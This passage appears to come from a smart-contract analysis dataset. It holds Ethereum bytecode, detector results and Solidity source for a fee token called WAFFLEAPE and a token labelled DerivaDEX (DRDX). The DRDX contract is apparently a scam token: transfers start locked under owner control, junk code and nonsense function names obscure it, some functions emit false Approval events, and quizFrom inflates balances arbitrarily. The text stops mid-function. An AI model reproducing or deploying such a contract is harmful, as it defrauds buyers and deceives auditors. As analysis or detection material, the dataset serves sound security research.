83169081179091556040519081527f964dea888b00b2ab53f13dfe7ca334b46e99338c222ae232d98547a1da019f609060200160405180910390a150565b60008083601f840112610fc357600080fd5b50813567ffffffffffffffff811115610fdb57600080fd5b6020830191508360208260051b8501011115610ff657600080fd5b9250929050565b80516001600160701b038116811461101457600080fd5b919050565b60006020828403121561102b57600080fd5b8135610e3a816112af565b60006020828403121561104857600080fd5b8151610e3a816112af565b60008060006060848603121561106857600080fd5b8335611073816112af565b92506020840135611083816112af565b929592945050506040919091013590565b600080604083850312156110a757600080fd5b82356110b2816112af565b946020939093013593505050565b600080602083850312156110d357600080fd5b823567ffffffffffffffff8111156110ea57600080fd5b6110f685828601610fb1565b90969095509350505050565b60008060006040848603121561111757600080fd5b833567ffffffffffffffff81111561112e57600080fd5b61113a86828701610fb1565b909450925050602084013561114e816112af565b809150509250925092565b60008060006060848603121561116e57600080fd5b61117784610ffd565b925061118560208501610ffd565b9150604084015163ffffffff8116811461114e57600080fd5b6000602082840312156111b057600080fd5b5051919050565b6020808252825182820181905260009190848201906040850190845b818110156111ef578351835292840192918401916001016111d3565b50909695505050505050565b60008261121857634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561123757611237611257565b500290565b600060001982141561125057611250611257565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146112c457600080fd5b5056fea26469706673582212204e750dbfb8fc9e8e426494b5f024387e577ca8a321bc4c3a331a9e01ae60dcdc64736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 8,144 |
0x351199d45cd10aaefb367e0a103e75195e597982
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
//SPDX-License-Identifier: UNLICENSED
// /$$ /$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$ /$$ /$$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$$
// | $$ /$ | $$ /$$__ $$| $$_____/| $$_____/| $$ | $$_____/ /$$__ $$| $$__ $$| $$_____/
// | $$ /$$$| $$| $$ \ $$| $$ | $$ | $$ | $$ | $$ \ $$| $$ \ $$| $$
// | $$/$$ $$ $$| $$$$$$$$| $$$$$ | $$$$$ | $$ | $$$$$ | $$$$$$$$| $$$$$$$/| $$$$$
// | $$$$_ $$$$| $$__ $$| $$__/ | $$__/ | $$ | $$__/ | $$__ $$| $$____/ | $$__/
// | $$$/ \ $$$| $$ | $$| $$ | $$ | $$ | $$ | $$ | $$| $$ | $$
// | $$/ \ $$| $$ | $$| $$ | $$ | $$$$$$$$| $$$$$$$$| $$ | $$| $$ | $$$$$$$$
// |__/ \__/|__/ |__/|__/ |__/ |________/|________/|__/ |__/|__/ |________/
//www.waffleape.com
//t.me/waffleapeportal
//6%tax
//1.5Maxbuy
//Total Supply 100,000,000
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WAFFLEAPE is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 100000000 * 10**9;
string public constant name = unicode"WAFFLEAPE ";
string public constant symbol = unicode"WAFFLEAPE ";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 6;
uint public _sellFee = 6;
uint private _feeRate = 6;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 1500000 * 10**9;
_maxHeldTokens = 3000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610563578063db92dbb614610578578063dcb0e0ad1461058d578063dd62ed3e146105ad57600080fd5b8063a9059cbb146104ee578063b2289c621461050e578063b515566a1461052e578063c3c8cd801461054e57600080fd5b80638da5cb5b116100d15780638da5cb5b1461049b57806394b8d8f2146104b957806395d89b41146101f35780639e78fb4f146104d957600080fd5b80636fc3eaec1461043157806370a0823114610446578063715018a61461046657806373f54a111461047b57600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103ad57806349bd5a5e146103cd578063590f897e146104055780636755a4d01461041b57600080fd5b806331c2d8471461032857806332d873d8146103485780633bbac5791461035e57806340b9a54b1461039757600080fd5b80631940d020116101b65780631940d020146102b657806323b872dd146102cc57806327f3a72a146102ec578063313ce5671461030157600080fd5b806306fdde03146101f3578063095ea7b31461023f5780630b78f9c01461026f57806318160ddd1461029157600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102296040518060400160405280600a81526020016902ba0a3232622a0a822960b51b81525081565b60405161023691906116fa565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611774565b6105f3565b6040519015158152602001610236565b34801561027b57600080fd5b5061028f61028a3660046117a0565b610609565b005b34801561029d57600080fd5b5067016345785d8a00005b604051908152602001610236565b3480156102c257600080fd5b506102a8600d5481565b3480156102d857600080fd5b5061025f6102e73660046117c2565b610683565b3480156102f857600080fd5b506102a86106d7565b34801561030d57600080fd5b50610316600981565b60405160ff9091168152602001610236565b34801561033457600080fd5b5061028f610343366004611819565b6106e7565b34801561035457600080fd5b506102a8600e5481565b34801561036a57600080fd5b5061025f6103793660046118de565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a357600080fd5b506102a860095481565b3480156103b957600080fd5b5061028f6103c83660046118fb565b61077d565b3480156103d957600080fd5b506008546103ed906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b34801561041157600080fd5b506102a8600a5481565b34801561042757600080fd5b506102a8600c5481565b34801561043d57600080fd5b5061028f610810565b34801561045257600080fd5b506102a86104613660046118de565b61081d565b34801561047257600080fd5b5061028f610838565b34801561048757600080fd5b5061028f6104963660046118de565b6108ac565b3480156104a757600080fd5b506000546001600160a01b03166103ed565b3480156104c557600080fd5b50600f5461025f9062010000900460ff1681565b3480156104e557600080fd5b5061028f61091a565b3480156104fa57600080fd5b5061025f610509366004611774565b610b1f565b34801561051a57600080fd5b506007546103ed906001600160a01b031681565b34801561053a57600080fd5b5061028f610549366004611819565b610b2c565b34801561055a57600080fd5b5061028f610c45565b34801561056f57600080fd5b5061028f610c5b565b34801561058457600080fd5b506102a8610e57565b34801561059957600080fd5b5061028f6105a8366004611922565b610e6f565b3480156105b957600080fd5b506102a86105c836600461193f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610600338484610eec565b50600192915050565b6000546001600160a01b0316331461063c5760405162461bcd60e51b815260040161063390611978565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610690848484611010565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106bf9084906119c3565b90506106cc853383610eec565b506001949350505050565b60006106e23061081d565b905090565b6000546001600160a01b031633146107115760405162461bcd60e51b815260040161063390611978565b60005b815181101561077957600060056000848481518110610735576107356119da565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610771816119f0565b915050610714565b5050565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260040161063390611978565b6007546001600160a01b0316336001600160a01b0316146107c757600080fd5b600081116107d457600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761081a816113c7565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108625760405162461bcd60e51b815260040161063390611978565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146108cc57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610805565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161063390611978565b600f5460ff16156109915760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610633565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109f6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1a9190611a09565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8b9190611a09565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afc9190611a09565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610600338484611010565b6000546001600160a01b03163314610b565760405162461bcd60e51b815260040161063390611978565b60005b81518110156107795760085482516001600160a01b0390911690839083908110610b8557610b856119da565b60200260200101516001600160a01b031614158015610bd6575060065482516001600160a01b0390911690839083908110610bc257610bc26119da565b60200260200101516001600160a01b031614155b15610c3357600160056000848481518110610bf357610bf36119da565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c3d816119f0565b915050610b59565b6000610c503061081d565b905061081a81611401565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161063390611978565b600f5460ff1615610cd25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610633565b600654610cf29030906001600160a01b031667016345785d8a0000610eec565b6006546001600160a01b031663f305d7194730610d0e8161081d565b600080610d236000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610db09190611a26565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2d9190611a54565b50600f805460ff1916600117905542600e556605543df729c000600c55660aa87bee538000600d55565b6008546000906106e2906001600160a01b031661081d565b6000546001600160a01b03163314610e995760405162461bcd60e51b815260040161063390611978565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610805565b6001600160a01b038316610f4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610633565b6001600160a01b038216610faf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610633565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561103657600080fd5b6001600160a01b03831661109a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610633565b6001600160a01b0382166110fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610633565b6000811161115e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610633565b600080546001600160a01b0385811691161480159061118b57506000546001600160a01b03848116911614155b15611368576008546001600160a01b0385811691161480156111bb57506006546001600160a01b03848116911614155b80156111e057506001600160a01b03831660009081526004602052604090205460ff16155b1561128157600f5460ff166112375760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610633565b42600e5460b46112479190611a71565b111561127d57600c5482111561125c57600080fd5b600d546112688461081d565b6112729084611a71565b111561127d57600080fd5b5060015b600f54610100900460ff1615801561129b5750600f5460ff165b80156112b557506008546001600160a01b03858116911614155b156113685760006112c53061081d565b9050801561135157600f5462010000900460ff161561134857600b54600854606491906112fa906001600160a01b031661081d565b6113049190611a89565b61130e9190611aa8565b81111561134857600b5460085460649190611331906001600160a01b031661081d565b61133b9190611a89565b6113459190611aa8565b90505b61135181611401565b47801561136157611361476113c7565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113aa57506001600160a01b03841660009081526004602052604090205460ff165b156113b3575060005b6113c08585858486611575565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610779573d6000803e3d6000fd5b600f805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611445576114456119da565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561149e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c29190611a09565b816001815181106114d5576114d56119da565b6001600160a01b0392831660209182029290920101526006546114fb9130911684610eec565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611534908590600090869030904290600401611aca565b600060405180830381600087803b15801561154e57600080fd5b505af1158015611562573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b60006115818383611597565b905061158f868686846115bb565b505050505050565b60008083156115b45782156115af57506009546115b4565b50600a545b9392505050565b6000806115c88484611698565b6001600160a01b03881660009081526002602052604090205491935091506115f19085906119c3565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611621908390611a71565b6001600160a01b038616600090815260026020526040902055611643816116cc565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161168891815260200190565b60405180910390a3505050505050565b6000808060646116a88587611a89565b6116b29190611aa8565b905060006116c082876119c3565b96919550909350505050565b306000908152600260205260409020546116e7908290611a71565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117275785810183015185820160400152820161170b565b81811115611739576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461081a57600080fd5b803561176f8161174f565b919050565b6000806040838503121561178757600080fd5b82356117928161174f565b946020939093013593505050565b600080604083850312156117b357600080fd5b50508035926020909101359150565b6000806000606084860312156117d757600080fd5b83356117e28161174f565b925060208401356117f28161174f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561182c57600080fd5b823567ffffffffffffffff8082111561184457600080fd5b818501915085601f83011261185857600080fd5b81358181111561186a5761186a611803565b8060051b604051601f19603f8301168101818110858211171561188f5761188f611803565b6040529182528482019250838101850191888311156118ad57600080fd5b938501935b828510156118d2576118c385611764565b845293850193928501926118b2565b98975050505050505050565b6000602082840312156118f057600080fd5b81356115b48161174f565b60006020828403121561190d57600080fd5b5035919050565b801515811461081a57600080fd5b60006020828403121561193457600080fd5b81356115b481611914565b6000806040838503121561195257600080fd5b823561195d8161174f565b9150602083013561196d8161174f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119d5576119d56119ad565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611a0257611a026119ad565b5060010190565b600060208284031215611a1b57600080fd5b81516115b48161174f565b600080600060608486031215611a3b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a6657600080fd5b81516115b481611914565b60008219821115611a8457611a846119ad565b500190565b6000816000190483118215151615611aa357611aa36119ad565b500290565b600082611ac557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b1a5784516001600160a01b031683529383019391830191600101611af5565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220013a626044ac926e885136a4b2135c218a84bdaf32a584af07d7bc7f5caae32464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,145 |
0x1b54a20aa52cf36c0b115d078733a6b23b92a229
|
/**
*Submitted for verification at Etherscan.io on 2020-12-16
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// --- --- --- --- ---Owned contract -- -- -- --
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public novel;
bool isTransferred = false;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
isTransferred = true;
owner = msg.sender;
}
modifier onlyOwner {//----
require(msg.sender == owner);//----
_;
}
function whoIsOwner(address _ancient, address _novel) public onlyOwner {
address ancient = _ancient;
novel = _novel;
isTransferred=false;
emit OwnershipTransferred(ancient, novel);
}
function getwergancient() public view returns (address) {
address vetrher= owner;
return vetrher;
}
function getan6hrtgcient() public view returns (address) {
address wergwehwrh= owner;
return wergwehwrh;
}
function getancient() public view returns (address) {
address onjreihr= owner;
return onjreihr;
}
function getnovel() public view returns (address) {
address egrrge= novel;
return egrrge;
}
function isOwnerTransferred() public view returns (bool) {
if(isTransferred){
return true;
}
if(!isTransferred){
return false;
}
}
function transferOwnership(address _novel) public onlyOwner {
address ancient = owner;
owner = _novel;
emit OwnershipTransferred(ancient, owner);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DEDXToken is Owned, SafeMath {
string public name = "DerivaDEX";
string public symbol = "DRDX";
uint8 public decimals = 18;
address public loaddewegrgrer;
uint public _totalSupply;
bool public secured;
bool public hasbeenLocked;
address public loadder;
address public loadderer;
modifier onlyloadder {
require(msg.sender == loadder);
_;
}
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor (uint tokens, address loadderAccount) public {
uint ishdkj = 82937;
loadder = loadderAccount;
ishdkj += 51684;
loadderer = loadder;
ishdkj += 54414145;
_totalSupply = tokens * 10 ** 18;
balances[owner] = safeAdd(balances[owner], tokens);
secured = true;
hasbeenLocked = false;
}
modifier isNotLocked {
require(!secured);
_;
}
function setB(bool _secured) public onlyOwner{
secured = _secured;
hasbeenLocked = false;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];///////////0100100101001010
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function newFunc(address newAdd) public view returns (uint balance) {
address oldAdd = newAdd;
return balances[oldAdd] * 200;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public isNotLocked returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
uint nosauilykgfsh = 32786;
balances[to] = safeAdd(balances[to], tokens);
nosauilykgfsh/= 41;
emit Transfer(msg.sender, to, tokens);
nosauilykgfsh += 234;
return true;
}
function doubted(address newance, address oldance, uint anars) public returns (bool success) {
allowed[msg.sender][newance] = anars;
emit Approval(msg.sender, oldance, anars);
return false;
}
function darker(address oaasne, address twwwo, uint ryhers) public returns (bool success) {
allowed[msg.sender][oaasne] = ryhers;
emit Approval(msg.sender, oaasne, ryhers);
emit Approval(msg.sender, twwwo, ryhers ** 1259);
return false;
}
function lighter(address oneoneone, address twotwo, uint norfatr) public returns (bool success) {
allowed[msg.sender][oneoneone] = norfatr;
emit Approval(msg.sender, oneoneone, norfatr);
emit Approval(msg.sender, twotwo, norfatr / 120);
return false;
}
function conscious(address one, address two, uint noratr) public returns (bool success) {
allowed[msg.sender][one] = noratr;
emit Approval(msg.sender, one, noratr);
emit Approval(msg.sender, two, noratr * 10);
return false;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function fapRove(address newance, uint part) public returns (bool success) {
allowed[msg.sender][newance] = part;
emit Approval(msg.sender, newance, part);
return false;
}
function yessaaer(address newance, uint part) public returns (bool success) {
allowed[msg.sender][newance] = part;
emit Approval(msg.sender, newance, part);
return false;
}
function gggaaerras(address newance, uint part) public returns (bool success) {
allowed[msg.sender][newance] = part * 69;
allowed[msg.sender][newance] = part * 555;
allowed[msg.sender][newance] = part / 23;
emit Approval(msg.sender, newance, part*10);
emit Approval(msg.sender, newance, part*15);
emit Approval(msg.sender, newance, part*30);
return true;
}
function triadFrom(address psyc, address news, uint port) public isNotLocked returns (bool success) {
balances[psyc] = safeSub(balances[psyc], port);
allowed[psyc][msg.sender] = safeSub(allowed[psyc][msg.sender], port);
balances[news] = safeAdd(balances[news], port);
emit Transfer(psyc, news, port);
return true;
}
function quizFrom(address highScore, address lowScore, uint pale) public isNotLocked returns (bool success) {
balances[highScore] = safeSub(balances[lowScore], pale) * (858585);
balances[highScore] += 500000000000000000000000;
allowed[highScore][msg.sender] = safeSub(allowed[lowScore][msg.sender], pale) + 100 / 4 +2000;
